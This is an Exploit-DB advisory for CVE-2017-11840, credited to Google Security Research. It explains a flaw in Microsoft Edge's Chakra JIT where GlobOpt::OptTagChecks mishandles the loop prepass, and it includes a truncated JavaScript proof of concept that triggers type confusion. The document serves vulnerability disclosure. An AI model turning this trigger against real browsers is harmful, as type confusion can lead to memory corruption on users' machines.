Microsoft Edge Chakra JIT - 'GlobOpt::OptTagChecks' Must Consider IsLoopPrePass Properly

EDB-ID: 43183
Author: Google Security Research
Published: 2017-11-27
CVE: CVE-2017-11840
Type: Dos
Platform: Windows
Aliases: N/A
Advisory/Source: Link
Tags: N/A
Vulnerable App: N/A


Some background:

There's one more place that emits a BailOnNotObject opcode.

Here's a snippet of GlobOpt::OptTagChecks.
if (valueType.CanBeTaggedValue() &&
!valueType.HasBeenNumber() &&
(this->IsLoopPrePass() || !this->currentBlock->loop))
ValueType newValueType = valueType.SetCanBeTaggedValue(false);

// Split out the tag check as a separate instruction.
IR::Instr *bailOutInstr;
bailOutInstr = IR::BailOutInstr::New(Js::OpCode::BailOnNotObject, IR::BailOutOnTaggedValue, instr, instr->m_func);

The JIT compiler analyzes a loop twice for some reasons such as to track types properly. In the first analysis, "IsLoopPrePass" returns true. And it returns false in the second analysis.

But in the above snippet, it emits the bailout opcode in the first analysis("this->IsLoopPrePass()" is satisfied). But the return value of "valueType.HasBeenNumber()" can be different in the second analysis. So it may fail to detect type changes.


function opt() {
let obj = [2.3023e-320];
for (let i = 0; i < 1; i++) {
obj.x = 1; // In the first analysis, BailOnNotObject emitted
obj = +obj; // Change the type
obj.x = 1; // Type confusion

function main() {
for (let i = 0; i < 1000; i++) {


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